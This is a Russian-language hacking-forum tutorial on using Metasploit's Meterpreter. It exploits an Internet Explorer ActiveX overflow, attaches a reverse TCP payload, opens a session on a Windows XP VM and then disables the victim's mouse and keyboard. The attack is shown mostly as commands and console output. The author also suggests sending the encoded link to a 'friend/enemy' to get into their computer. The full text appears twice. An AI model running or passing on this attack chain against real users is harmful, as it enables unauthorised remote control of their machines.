-=lebed=-
31.01.2007, 17:32
Учимся юзать Мeterpreter (Или Metasploit Framework часть 4)
Предисловие.
Если в первый раз слышите слова Мeterpreter, Metasploit Framework - то рекомендую почитать мои предыдущие статьи по Метасплоиту (ссылки на них можно найти у меня в подписи). Если их читали то можете читать дальше.
Всё описанное в статье справедливо для версии 3.0 beta 3
1. Что такое Мeterpreter?В Предыдущих статьях (№3) частично этот вопрос поднимался и было дано определение данного понятия, но всё же я повторюсь и скажу своими словами: Мeterpreter - это особый полезный груз (начинка эксплоита) которая может выполнять не какую-либо конкретную задачу, а много функций. Даже если сравнивать его с каким-либо шелл`ом, мы увидим что он есть только для виндос и очень похож на обычный cmd-шелл.
Ну да ладно, перейдём от теории к практике, запустим консоль, посмотрим что мы имеем (команда show).
msf > show
Encoders
========
----------пропущено-----------------
NOP Generators
==============
----------пропущено-----------------
Exploits
========
Name Description
---- -----------
----------пропущено-----------------
windows/browser/webview_setslice Internet Explorer WebViewFolderIcon setSlice() Overflow
----------пропущено-----------------
Payloads
========
----------пропущено-----------------
Name Description
---- -----------
windows/meterpreter/bind_tcp Windows Meterpreter, Bind TCP Stager
windows/meterpreter/find_tag Windows Meterpreter, Find Tag Ordinal Stager
windows/meterpreter/reverse_http Windows Meterpreter, PassiveX Reverse HTTP Tunneling Stager
windows/meterpreter/reverse_ord_tcp Windows Meterpreter, Reverse Ordinal TCP Stager
windows/meterpreter/reverse_tcp Windows Meterpreter, Reverse TCP Stager
Auxiliary
=========
Name Description
---- -----------
----------пропущено-----------------
2. Выбираем сплоит.Я буду показывать на примере эксплоита windows/browser/webview_setslice (буду использовать его).
3. Выбираем начинку (собственно meterpreter - ему и посвящена статья)Как мы видим meterpreter есть только для виндос (по типу соединения 5 шт.)
Ну, ИМХО, по названию понятно, какой что делает, но всё же, для тех кто в танке, поясню:
Windows Meterpreter, Bind TCP Stager - тупо биндит порт Stager (Stage - стадия, ну в русском нет перевода, назову стэйжер)
Windows Meterpreter, Find Tag Ordinal Stager - ищет порядковый тэг стэйжера
Windows Meterpreter, PassiveX Reverse HTTP Tunneling Stager - Пассивное реверсное http-туннелирование стэйжера
Windows Meterpreter, Reverse Ordinal TCP Stager - Реверсный порядковый TCP стэйжер
Windows Meterpreter, Reverse TCP Stager - Реверсный TCP стэйжер (аналог старого доброго реверс-шелла, по типу соединения)
Ну вроде прояснили, я буду использовать Reverse TCP Stager, и так выбираем сплоит и смотрим по нём инфу:
msf > use windows/browser/webview_setslice
msf exploit(webview_setslice) > info
Name: Internet Explorer WebViewFolderIcon setSlice() Overflow
Version: 3783
Platform: Windows
Privileged: No
License: Metasploit Framework License v1.0
Provided by:
hdm <hdm@metasploit.com>
Available targets:
Id Name
-- ----
0 Windows XP SP0-SP2 / IE 6.0SP1 English
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 10.0.3.44 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Space: 1024
Avoid: 1 characters
Description:
This module exploits a flaw in the WebViewFolderIcon ActiveX control
included with Windows 2000, Windows XP, and Windows 2003. This flaw
was published during the Month of Browser Bugs project (MoBB #18).
References:
http://www.osvdb.org/27110
http://www.securityfocus.com/bid/19030
http://browserfun.blogspot.com/2006/07/mobb-18-webviewfoldericon-setslice.html
Так, WINDOWS-XP SP2 входит в число уязвимых - то что надо (под виртуалкой у меня есть такая жертва)
Параметры меня устаривают - оставлю их по умолчанию. (URIPATH - красавец, но пусть будет случайный)
4.Эксплуатируем.Прикручива м начинку - наш загадочный windows/meterpreter/reverse_tcp
msf exploit(webview_setslice) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
Нормально прикрутилась, пора командовать exploit
msf exploit(webview_setslice) > exploit
[-] Exploit failed: The following options failed to validate: LHOST.
Ах, да, забыли про параметр начинки LHOST, исправим:
msf exploit(webview_setslice) > set LHOST 10.0.3.44
LHOST => 10.0.3.44
msf exploit(webview_setslice) > exploit
Started reverse handler
Using URL: http://10.0.3.44:8080/Ey3GEWD0B6Q3W9dDr1uDIefKjrAfZlcfs
Server started.
Exploit running as background job.
Всё, эксплоит запущен, веб-сервер метасплоита ждёт подключения клиента (жертвы) тут: http://10.0.3.44:8080/Ey3GEWD0B6Q3W9dDr1uDIefKjrAfZlcfs
Заходим в нашу гостевую ОС WIN-XP-SP2 (ну а вы можете впаривать ссылку, предварительно её закодировав, если надо, другу/врагу, в надежде пролезть в его комп), запускаем многострадальный IE и заходим по ссылке.
Через некоторое время (имхо, сплоит на переполнение) наблюдаем в консоли это:
msf exploit(webview_setslice) >
Transmitting intermediate stager for over-sized stage...(89 bytes)
Sending stage (2834 bytes)
Sleeping before handling stage...
Uploading DLL (73739 bytes)...
Upload completed.
Meterpreter session 1 opened (10.0.3.44:4444 -> 10.0.3.68:1028)
Попробую перевести что происходит:
Передача промежуточного звена стэйжера для стадии с завышенными размерами (короче сами переведёте)...(89 bytes)
Отправка стэйжера (2834 bytes)
Бездействие перед обработкой стадии
Заливка DLL (73739 bytes)...
Заливка закончена.
Meterpreter сессия 1 открыта (понятно между кем и чем)
Ну это всё детали... главное результат! К нам подсоединился наш клиент-жертва, жмём enter в консоли, набираем sessions -i 1
msf exploit(webview_setslice) > sessions -i 1
Starting interaction with 1...
meterpreter >
Всё, мы в нашем загадочном meterpreter, интересно а что тут можно сделать? В самый раз скомандовать help ! (конечно все команды meterpreter лучше знать заранее)
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
channel Displays information about active channels
close Closes a channel
exit Terminate the meterpreter session
help Help menu
interact Interacts with a channel
irb Drop into irb scripting mode
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
run Executes a meterpreter script
use Load a one or more meterpreter extensions
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
download Download a file or directory
edit Edit a file
getwd Print working directory
ls List files
mkdir Make directory
pwd Print working directory
rmdir Remove directory
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
execute Execute a command
getpid Get the current process identifier
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shutdown Shuts down the remote computer
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
------- -----------
idletime Returns the number of seconds the remote user has been idle
uictl Control some of the user interface components
Ого сколько команд! Класс! Все команды сгруппированы по типу, что очень удобно.
5. Внутри Мeterpreter(лазаем по чужому компу)!Ну описывать сейчас каждую я не буду, имхо для знающих людей хелпа на английском достаточно. Попробуем что-нибудь из этих команд, посмотрим например версию ОС:
meterpreter > sysinfo
Computer: TEST3
OS : Windows XP (Build 2600, Service Pack 2).
Компьютер с именем TEST3 и с виндой xp-sp2 - всё верно. Посмотрим конфигурацию сети:
meterpreter > ipconfig
Intel 21140-Based PCI Fast Ethernet адаптер (Универсальный)
Hardware MAC: 00:03:ff:f6:fd:00
IP Address : 10.0.3.68
Netmask : 255.0.0.0
Ну и что, скажете вы, все эти команды можно сделать и в обычном реверс-шелле... Некоторые, но не все...
Выключим у юзверя например мышку ;-)
meterpreter > uictl
Usage: uictl [enable/disable] [keyboard/mouse]
meterpreter > uictl disable mouse
Disabling mouse...
meterpreter >
Проверим - правда перестала работать ;-), Ну тогда и клаву тоже отрубим:
meterpreter > uictl disable keyboard
Disabling keyboard...
meterpreter >
Проверили - тоже не пашет (бедный ваш друг/враг оставшийся без интерфейсов управления своим компом ;-), Для более продвинутых будут интересны конечно следующие команды:
irb Drop into irb scripting mode ------------ уйти в IRB-скрипт режим (Понравится знающим язык Руби)
migrate Migrate the server to another process --- миграция сервера в другой процесс
quit Terminate the meterpreter session ------- уничтожение сессии meterpreter`а
read Reads data from a channel --------------- прочитать данные из канала
run Executes a meterpreter script ----------- запустить скрипт meterpreter`а
use Load a one or more meterpreter extensions загрузить одно или более расширений meterpreter`а
write Writes data to a channel ---------------- писать данные в канал
Использование этих команд - тема отдельной статьи, так как функциональность meterpreter можно с помощью них динамически (во время сессии) наращивать...
Заключение.Ну вот и всё, не так оказался страшен зверь как его именуют, вполне рабочий, многофункциональный шелл для винды, открывающий практически безграничную власть над компом юзверя.
Удачи всем в использовании meterpreter!
Предисловие.
Если в первый раз слышите слова Мeterpreter, Metasploit Framework - то рекомендую почитать мои предыдущие статьи по Метасплоиту (ссылки на них можно найти у меня в подписи). Если их читали то можете читать дальше.
Всё описанное в статье справедливо для версии 3.0 beta 3
1. Что такое Мeterpreter?В Предыдущих статьях (№3) частично этот вопрос поднимался и было дано определение данного понятия, но всё же я повторюсь и скажу своими словами: Мeterpreter - это особый полезный груз (начинка эксплоита) которая может выполнять не какую-либо конкретную задачу, а много функций. Даже если сравнивать его с каким-либо шелл`ом, мы увидим что он есть только для виндос и очень похож на обычный cmd-шелл.
Ну да ладно, перейдём от теории к практике, запустим консоль, посмотрим что мы имеем (команда show).
msf > show
Encoders
========
----------пропущено-----------------
NOP Generators
==============
----------пропущено-----------------
Exploits
========
Name Description
---- -----------
----------пропущено-----------------
windows/browser/webview_setslice Internet Explorer WebViewFolderIcon setSlice() Overflow
----------пропущено-----------------
Payloads
========
----------пропущено-----------------
Name Description
---- -----------
windows/meterpreter/bind_tcp Windows Meterpreter, Bind TCP Stager
windows/meterpreter/find_tag Windows Meterpreter, Find Tag Ordinal Stager
windows/meterpreter/reverse_http Windows Meterpreter, PassiveX Reverse HTTP Tunneling Stager
windows/meterpreter/reverse_ord_tcp Windows Meterpreter, Reverse Ordinal TCP Stager
windows/meterpreter/reverse_tcp Windows Meterpreter, Reverse TCP Stager
Auxiliary
=========
Name Description
---- -----------
----------пропущено-----------------
2. Выбираем сплоит.Я буду показывать на примере эксплоита windows/browser/webview_setslice (буду использовать его).
3. Выбираем начинку (собственно meterpreter - ему и посвящена статья)Как мы видим meterpreter есть только для виндос (по типу соединения 5 шт.)
Ну, ИМХО, по названию понятно, какой что делает, но всё же, для тех кто в танке, поясню:
Windows Meterpreter, Bind TCP Stager - тупо биндит порт Stager (Stage - стадия, ну в русском нет перевода, назову стэйжер)
Windows Meterpreter, Find Tag Ordinal Stager - ищет порядковый тэг стэйжера
Windows Meterpreter, PassiveX Reverse HTTP Tunneling Stager - Пассивное реверсное http-туннелирование стэйжера
Windows Meterpreter, Reverse Ordinal TCP Stager - Реверсный порядковый TCP стэйжер
Windows Meterpreter, Reverse TCP Stager - Реверсный TCP стэйжер (аналог старого доброго реверс-шелла, по типу соединения)
Ну вроде прояснили, я буду использовать Reverse TCP Stager, и так выбираем сплоит и смотрим по нём инфу:
msf > use windows/browser/webview_setslice
msf exploit(webview_setslice) > info
Name: Internet Explorer WebViewFolderIcon setSlice() Overflow
Version: 3783
Platform: Windows
Privileged: No
License: Metasploit Framework License v1.0
Provided by:
hdm <hdm@metasploit.com>
Available targets:
Id Name
-- ----
0 Windows XP SP0-SP2 / IE 6.0SP1 English
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 10.0.3.44 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Space: 1024
Avoid: 1 characters
Description:
This module exploits a flaw in the WebViewFolderIcon ActiveX control
included with Windows 2000, Windows XP, and Windows 2003. This flaw
was published during the Month of Browser Bugs project (MoBB #18).
References:
http://www.osvdb.org/27110
http://www.securityfocus.com/bid/19030
http://browserfun.blogspot.com/2006/07/mobb-18-webviewfoldericon-setslice.html
Так, WINDOWS-XP SP2 входит в число уязвимых - то что надо (под виртуалкой у меня есть такая жертва)
Параметры меня устаривают - оставлю их по умолчанию. (URIPATH - красавец, но пусть будет случайный)
4.Эксплуатируем.Прикручива м начинку - наш загадочный windows/meterpreter/reverse_tcp
msf exploit(webview_setslice) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
Нормально прикрутилась, пора командовать exploit
msf exploit(webview_setslice) > exploit
[-] Exploit failed: The following options failed to validate: LHOST.
Ах, да, забыли про параметр начинки LHOST, исправим:
msf exploit(webview_setslice) > set LHOST 10.0.3.44
LHOST => 10.0.3.44
msf exploit(webview_setslice) > exploit
Started reverse handler
Using URL: http://10.0.3.44:8080/Ey3GEWD0B6Q3W9dDr1uDIefKjrAfZlcfs
Server started.
Exploit running as background job.
Всё, эксплоит запущен, веб-сервер метасплоита ждёт подключения клиента (жертвы) тут: http://10.0.3.44:8080/Ey3GEWD0B6Q3W9dDr1uDIefKjrAfZlcfs
Заходим в нашу гостевую ОС WIN-XP-SP2 (ну а вы можете впаривать ссылку, предварительно её закодировав, если надо, другу/врагу, в надежде пролезть в его комп), запускаем многострадальный IE и заходим по ссылке.
Через некоторое время (имхо, сплоит на переполнение) наблюдаем в консоли это:
msf exploit(webview_setslice) >
Transmitting intermediate stager for over-sized stage...(89 bytes)
Sending stage (2834 bytes)
Sleeping before handling stage...
Uploading DLL (73739 bytes)...
Upload completed.
Meterpreter session 1 opened (10.0.3.44:4444 -> 10.0.3.68:1028)
Попробую перевести что происходит:
Передача промежуточного звена стэйжера для стадии с завышенными размерами (короче сами переведёте)...(89 bytes)
Отправка стэйжера (2834 bytes)
Бездействие перед обработкой стадии
Заливка DLL (73739 bytes)...
Заливка закончена.
Meterpreter сессия 1 открыта (понятно между кем и чем)
Ну это всё детали... главное результат! К нам подсоединился наш клиент-жертва, жмём enter в консоли, набираем sessions -i 1
msf exploit(webview_setslice) > sessions -i 1
Starting interaction with 1...
meterpreter >
Всё, мы в нашем загадочном meterpreter, интересно а что тут можно сделать? В самый раз скомандовать help ! (конечно все команды meterpreter лучше знать заранее)
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
channel Displays information about active channels
close Closes a channel
exit Terminate the meterpreter session
help Help menu
interact Interacts with a channel
irb Drop into irb scripting mode
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
run Executes a meterpreter script
use Load a one or more meterpreter extensions
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
download Download a file or directory
edit Edit a file
getwd Print working directory
ls List files
mkdir Make directory
pwd Print working directory
rmdir Remove directory
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
execute Execute a command
getpid Get the current process identifier
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shutdown Shuts down the remote computer
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
------- -----------
idletime Returns the number of seconds the remote user has been idle
uictl Control some of the user interface components
Ого сколько команд! Класс! Все команды сгруппированы по типу, что очень удобно.
5. Внутри Мeterpreter(лазаем по чужому компу)!Ну описывать сейчас каждую я не буду, имхо для знающих людей хелпа на английском достаточно. Попробуем что-нибудь из этих команд, посмотрим например версию ОС:
meterpreter > sysinfo
Computer: TEST3
OS : Windows XP (Build 2600, Service Pack 2).
Компьютер с именем TEST3 и с виндой xp-sp2 - всё верно. Посмотрим конфигурацию сети:
meterpreter > ipconfig
Intel 21140-Based PCI Fast Ethernet адаптер (Универсальный)
Hardware MAC: 00:03:ff:f6:fd:00
IP Address : 10.0.3.68
Netmask : 255.0.0.0
Ну и что, скажете вы, все эти команды можно сделать и в обычном реверс-шелле... Некоторые, но не все...
Выключим у юзверя например мышку ;-)
meterpreter > uictl
Usage: uictl [enable/disable] [keyboard/mouse]
meterpreter > uictl disable mouse
Disabling mouse...
meterpreter >
Проверим - правда перестала работать ;-), Ну тогда и клаву тоже отрубим:
meterpreter > uictl disable keyboard
Disabling keyboard...
meterpreter >
Проверили - тоже не пашет (бедный ваш друг/враг оставшийся без интерфейсов управления своим компом ;-), Для более продвинутых будут интересны конечно следующие команды:
irb Drop into irb scripting mode ------------ уйти в IRB-скрипт режим (Понравится знающим язык Руби)
migrate Migrate the server to another process --- миграция сервера в другой процесс
quit Terminate the meterpreter session ------- уничтожение сессии meterpreter`а
read Reads data from a channel --------------- прочитать данные из канала
run Executes a meterpreter script ----------- запустить скрипт meterpreter`а
use Load a one or more meterpreter extensions загрузить одно или более расширений meterpreter`а
write Writes data to a channel ---------------- писать данные в канал
Использование этих команд - тема отдельной статьи, так как функциональность meterpreter можно с помощью них динамически (во время сессии) наращивать...
Заключение.Ну вот и всё, не так оказался страшен зверь как его именуют, вполне рабочий, многофункциональный шелл для винды, открывающий практически безграничную власть над компом юзверя.
Удачи всем в использовании meterpreter!